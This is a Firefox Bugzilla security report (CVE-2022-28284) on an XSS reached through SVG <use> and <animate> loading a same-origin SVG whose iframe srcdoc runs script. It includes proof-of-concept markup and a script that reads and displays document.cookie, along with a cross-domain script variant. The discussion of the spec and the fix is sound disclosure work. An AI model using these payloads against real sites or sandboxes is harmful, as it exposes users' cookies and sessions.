Closed Bug 1754522 (CVE-2022-28284) Opened 3 years ago Closed 3 years ago

XSS in SVG's foreignObject with iframe, loaded through a same-origin SVG file from a <use> element

Categories

(Core :: SVG, defect)

defect

Tracking

()

RESOLVED FIXED
99 Branch
Tracking Status
firefox-esr91 --- wontfix
firefox97 --- wontfix
firefox98 --- wontfix
firefox99 --- fixed

People

(Reporter: lbalter, Assigned: emilio)

References

(Regressed 2 open bugs)

Details

(Keywords: sec-moderate, Whiteboard: [keep hidden while 1757210 is][contributes to sec-high website vulns][adv-main99+])

Attachments

(2 files)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36

Steps to reproduce:

Example: https://glitch.com/edit/#!/notch-wood-soap?path=index.html%3A49%3A0

Firefox allows JS injection from SVG's loaded from <use> and <animate> attributes.

    <svg>
      <use>
        <animate attributename="href" keytimes="0;0;1" values="foo;/xss.svg#xss;bar"></animate>
      </use>
    </svg>

      <svg>
        <use>
          <animate attributename="href" from="/xss.svg#xss" to=""></animate>
        </use>
      </svg>

      <svg>
        <use>
          <animate attributename="href" dur="1s" to="/xss.svg#xss"></animate>
        </use>
      </svg>

xss.svg:

<svg id="xss" xmlns="http://www.w3.org/2000/svg">;
<foreignObject>
<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&lt;body&gt;&lt;script src=/test2.js&gt;&lt;/script&gt;"></iframe>;
</foreignObject>
</svg>

test2.js:

var l = document.createElement("h1");
l.innerText = document.cookie;
l.id="mycookies";
document.body.appendChild(l);

alert(`cookies! ${document.getElementById("mycookies").innerText}`);

Actual results:

Firefox loads xss.svg and then the iframe injecting test2.js from srcdoc, printing w/ cookies set in document.cookies.

Expected results:

Chrome and Safari will load the xss.svg without injecting test2 from the iframe's srcdoc.

This currently bypasses our sandboxing framework and gives access to top.document.

Note: this concerns would be mitigated the by replacing usage of iframes with ShadowRealms. Although, the injection still persists.

Group: firefox-core-security → layout-core-security
Component: Untriaged → SVG
Product: Firefox → Core

So it doesn't happen if there's no animate? As in, just <use href=""> correctly restricts the load? That seems bad.

@Emilio (In reply to Emilio Cobos Álvarez (:emilio) from comment #1)

So it doesn't happen if there's no animate? As in, just <use href=""> correctly restricts the load? That seems bad.

It happens with just use element too:

Examples

 <svg>
  <use href="/xss.svg#xss"></use>
 </svg>
</template>```

```<template>
 <svg>
  <use xlink:href="/xss.svg#xss"></use>
 </svg>
</template>```
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(jwatt)

What kind of restriction are Chrome/Safari enforcing? Are we mis-interpreting the spec, or have they added restrictions on top?

Keywords: sec-moderate
Whiteboard: [contributes to sec-high website vulns]

Is secure static mode (https://www.w3.org/TR/SVG/conform.html#secure-static-mode) enabled? Seems like it's loading external references from the SVG file. Does that make sense? Thank you.

(In reply to Theodore from comment #4)

Is secure static mode (https://www.w3.org/TR/SVG/conform.html#secure-static-mode) enabled? Seems like it's loading external references from the SVG file. Does that make sense? Thank you.

Not quite the same. I think the difference here is that Blink and WebKit just allow a subset of elements inside <svg:use>:

As far as I recall use references are restricted to same site only.

See also bug 1477214

It seems Blink / WebKit run this even if in the same document, but it
seems less-potentially-breaking to restrict this to the cross-document
case.

Though at least on the test-case it seems it's loading from the same
origin, which is a bit dubious to restrict...

So we could do something like the patch I just submitted, but I did a bit of testing and indeed this is limited only to same-origin, test-case:

http://crisal.io/tmp/svg-use-external.html

So how is this a security risk? It seems that this is only an issue if the resource is loaded from the same origin.

Flags: needinfo?(lbalter)

(In reply to Emilio Cobos Álvarez (:emilio) from comment #8)

So we could do something like the patch I just submitted, but I did a bit of testing and indeed this is limited only to same-origin, test-case:

http://crisal.io/tmp/svg-use-external.html

So how is this a security risk? It seems that this is only an issue if the resource is loaded from the same origin.

It bypasses our sandbox and allows malicious users access to the raw document; it can access all the cookies outside of the sandbox, etc.

Well but you're loading same-origin content, and that content contains <script> and <foreignObject> so it's not unexpected that scripts can run?

(In reply to Emilio Cobos Álvarez (:emilio) from comment #10)

Well but you're loading same-origin content, and that content contains <script> and <foreignObject> so it's not unexpected that scripts can run?

Yes. Not unexpected. But there's multiple sandboxes on the page. Cookies are shared by the sandboxes on the page. If one sandbox found a way to get the page cookies, that'll be a security break.

I don't feel super-strongly either way. Perhaps we should just do comment 7 for compat with other engines. Jonathan / Robert / Daniel, do you have any strong opinions either way?

Flags: needinfo?(longsonr)
Flags: needinfo?(dholbert)

It seems a shame to block foreignObject from use but if that's compatible with other engines I suppose that's OK.

I really don't see any cross site scripting here because the use elements targets have always had to be same site (although not same document).

Flags: needinfo?(longsonr)

This link is almost the same of the original example, but it changes the url to test2.js for a cross-domain one.

https://glitch.com/edit/#!/spectrum-juniper-radio?path=xss.svg%3A1%3A0

<svg id="xss" xmlns="http://www.w3.org/2000/svg">;
<foreignObject>
<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&lt;body&gt;&lt;script src=https://notch-wood-soap.glitch.me/test2.js&gt;&lt;/script&gt;"></iframe>;
</foreignObject>
</svg>

Chrome and Safari will not load test2.js, Firefox will do it.

Changing the urls pointing to xss.svg cross domain would indeed block loading the svg.

The potential XSS is only part of the issue. The current behavior our Salesforce sandboxing framework with no many options other than preventing root functionality (e.g. svg loading) in Firefox.

Saying that, we appreciate all the support so far and we are looking forward to a good interoperable solution!

Flags: needinfo?(lbalter)

(In reply to Leo Balter from comment #14)

This link is almost the same of the original example, but it changes the url to test2.js for a cross-domain one.

Sure, the cross-domain-ness of the script URL wouldn't matter (it rarely does for script tags, except for CSP and the like), the restriction comment #6, 8 and 10 referenced is about the href of the <use> tag being same-origin, not the script tag inside the SVG referenced by that use tag.

Chrome and Safari will not load test2.js, Firefox will do it.

To be clear, do they load the iframe or anything in it at all? I understood the answer to be "no", which means that where the script tag point isn't relevant - other browsers never get as far as the script tag.

The potential XSS is only part of the issue. The current behavior our Salesforce sandboxing framework with no many options other than preventing root functionality (e.g. svg loading) in Firefox.

I'm still pretty confused at what you believe the root cause here to be. I understand that the result here is a security issue in the salesforce framework that affects customers. You believe this is a Firefox bug because the same testcase doesn't produce XSS in Chrome/Safari. What I don't understand is why the restriction on elements inside <use> is relevant here. Based on your description, the attacker controls the HTML that has the <use> and/or <animate> elements, can upload arbitrary SVG files onto the same domain (but isn't allowed to read cookies on that domain?), and there is no CSP that prevents subframes (which AIUI would prevent the issue here, Firefox bug or no). Why can't the attacker include the HTML <iframe srcdoc> directly, which would also work in Chrome/Safari, instead of jumping through the SVG+use+foreignObject hoops? Does the salesforce framework prevent the direct inclusion of an iframe srcdoc element in the initial HTML, but not the use of SVG <use> tags to include remote content? Why/how?

Flags: needinfo?(lbalter)
Summary: XSS in SVG's iframe loaded from use and animate elements → XSS in SVG's foreignObject with iframe, loaded through a same-origin SVG file from a <use> element

(In reply to Emilio Cobos Álvarez (:emilio) from comment #12)

I don't feel super-strongly either way. Perhaps we should just do comment 7 for compat with other engines. Jonathan / Robert / Daniel, do you have any strong opinions either way?

(No strong opinion; I agree with longsonr's comment 13.)

Flags: needinfo?(dholbert)

(In reply to :Gijs (he/him) from comment #15)

(In reply to Leo Balter from comment #14)

This link is almost the same of the original example, but it changes the url to test2.js for a cross-domain one.

Sure, the cross-domain-ness of the script URL wouldn't matter (it rarely does for script tags, except for CSP and the like), the restriction comment #6, 8 and 10 referenced is about the href of the <use> tag being same-origin, not the script tag inside the SVG referenced by that use tag.

I agree with you about the restriction on the <use> tag, but for the script loaded inside I indeed refer to interoperability and did not have the chance yet to observe what's specified.

Blocking a cross domain xss.svg is already happening.

Chrome and Safari will not load test2.js, Firefox will do it.

To be clear, do they load the iframe or anything in it at all? I understood the answer to be "no", which means that where the script tag point isn't relevant - other browsers never get as far as the script tag.

I don't see them rendering anything from the svg file, matching your intuition.

The potential XSS is only part of the issue. The current behavior our Salesforce sandboxing framework with no many options other than preventing root functionality (e.g. svg loading) in Firefox.

I'm still pretty confused at what you believe the root cause here to be. I understand that the result here is a security issue in the salesforce framework that affects customers. You believe this is a Firefox bug because the same testcase doesn't produce XSS in Chrome/Safari. What I don't understand is why the restriction on elements inside <use> is relevant here. Based on your description, the attacker controls the HTML that has the <use> and/or <animate> elements, can upload arbitrary SVG files onto the same domain (but isn't allowed to read cookies on that domain?), and there is no CSP that prevents subframes (which AIUI would prevent the issue here, Firefox bug or no). Why can't the attacker include the HTML <iframe srcdoc> directly, which would also work in Chrome/Safari, instead of jumping through the SVG+use+foreignObject hoops? Does the salesforce framework prevent the direct inclusion of an iframe srcdoc element in the initial HTML, but not the use of SVG <use> tags to include remote content? Why/how?

The Salesforce platform allows the users to compose and customize their pages with multiple components published by us, them, and other clients. We have mechanisms that go beyond sanitizing code (e.g. sandboxing), and so we can exercise some control over inclusions such as new iframes. We got a specific bug reported for a code penetration from the SVG use/animate similarly to what we reported.

As comment #9 says, this is a way to bypass our sandboxing framework and the component would have access to the raw document. We don't necessarily prevent the inclusion of an iframe srcdoc but in general we also sandbox it within a virtualized environment that doesn't expose the main raw document.

The key request from us here is for interoperability. The cost complexity currently requires us to limit svg usage in Firefox and I hope we can avoid that and so we need your support here!


Saying all that, I appreciate all the attention so far! Please let me know if you need more clarification or information and I can get more engineer feedback from my end.

Flags: needinfo?(lbalter)

Friendly ping.

The respective team at Salesforce should have a workaround ready soon but it's mostly a limitation for our users. Please let me know if there is anything else we may provide. Thanks in advance!

I still think this is not really a Firefox bug, but oh well, I'm happy trying to land my patch for compat with other UAs given nobody has strongly objected.

Assignee: nobody → emilio
Attachment #9263182 - Attachment description: WIP: Bug 1754522 - Limit cross-document content loadable via <svg:use>. r=jwatt,longsonr → Bug 1754522 - Limit cross-document content loadable via <svg:use>. r=jwatt,longsonr
Status: NEW → ASSIGNED

SVG 2 is somewhat ambiguous on how stuff should work, FWIW. https://www.w3.org/TR/SVG2/struct.html#UseShadowTree:

Previous versions of SVG restricted the contents of the shadow tree to SVG graphics elements. This specification allows any valid SVG document subtree to be cloned. Cloning non-graphical content, however, will not usually have any visible effect.

What that means for <foreignObject> is unclear.

I've been experimenting here and trying to reduce the problem. It seems like the difference comes begore the foreignObject.

<div>
  <p>
    svg 1
  </p>
  <svg id=s1 xmlns="http://www.w3.org/2000/svg" width="50" height="10">
    <use>
      <animate attributename="href" keytimes="0;0;1" values="foo;./something.svg#a;bar"></animate>
    </use>
  </svg>
</div>
<div>
  <p>
    svg 2
  </p>
  <svg id=s2 xmlns="http://www.w3.org/2000/svg" width="50" height="10">
    <use>
      <animate attributename="href" from="./something.svg#a" to=""></animate>
    </use>
  </svg>
</div>
<div>
  <p>
    svg 3
  </p>
  <svg id=s3 xmlns="http://www.w3.org/2000/svg" width="50" height="10">
    <use>
      <animate attributename="href" dur="1s" to="./something.svg#a"></animate>
    </use>
  </svg>
</div>

and the something.svg file:

<svg id="a" xmlns="http://www.w3.org/2000/svg" width="50" height="10">
  <line x1="0" y1="0" x2="50" y2="10" style="stroke:rgb(255,0,0);stroke-width:2"></line>
  <iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&lt;body&gt;&lt;script src=./test2.js&gt;&lt;/script&gt;"></iframe>;
  <line x1="0" y1="10" x2="50" y2="0" style="stroke:rgb(255,0,0);stroke-width:2"></line>
</svg>

The lines may be rendered everywhere but only Firefox will load the iframe, regardless having a foreignObject or being within a web component. The following issue is that I can load a script from a different domain and still access my cookie values. Replacing the iframe part with:

<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&lt;body&gt;&lt;script src=https://notch-wood-soap.glitch.me/test2.js&gt;&lt;/script&gt;"></iframe>;

This happens regardless of being within a web component or a foreignObject.

Well, sure. Chromium / WebKit remove any non-SVG elements inside SVG <use>, and we don't. Per the quote above it seems SVG2 doesn't expect us to remove them but...

I see the iframe being allowed in the foreignObject here and IIUC, this must not require any specific extension.

I'm afraid to recognize this as a working as spec'ed even if the behavior requires me to run some workarounds from my end.

So, SVG2 is not particularly clear on what should happen with <iframe>s. It is a bit weird that <script> would be inert (which is specified) but we'd allow <iframe> (which would be able to execute script).

I've filed a few issues with that text here:

Not sure if you can see the patch, but I think limiting the cross-document <use> behavior as per SVG 1.1 is a reasonable compromise for now, until the SVG 2 spec gets a bit more fleshed out with those details.

See Also: → CVE-2022-34475
Group: layout-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Target Milestone: --- → 99 Branch
QA Whiteboard: [post-critsmash-triage]
Flags: qe-verify-
Whiteboard: [contributes to sec-high website vulns] → [contributes to sec-high website vulns][adv-main99+]
Attached file advisory.txt
Alias: CVE-2022-28284

bug 1779834 and bug 1776206 are regressions from this via https://searchfox.org/mozilla-central/source/dom/svg/SVGUseElement.cpp#294 Can we relax this requirement to any SVG safely rather than just SVGGraphicsElements? Happy to write such a patch in one of those bugs if so.

Flags: needinfo?(emilio)

That'd be our own made-up thing, right? Right now the SVGGraphicsElement restriction comes from SVG1, and the no-restriction comes from SVG2. I'd rather not make up a new "mode" here tbh...

Flags: needinfo?(emilio)
Regressions: 1779834, 1776206

In that case we should mark the other two bugs as wontfix or invalid.

Whiteboard: [contributes to sec-high website vulns][adv-main99+] → [keep hidden while 1757210 is][contributes to sec-high website vulns][adv-main99+]
Flags: needinfo?(jwatt)
See Also: → 1806964
Group: core-security-release
See Also: → 1912763
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: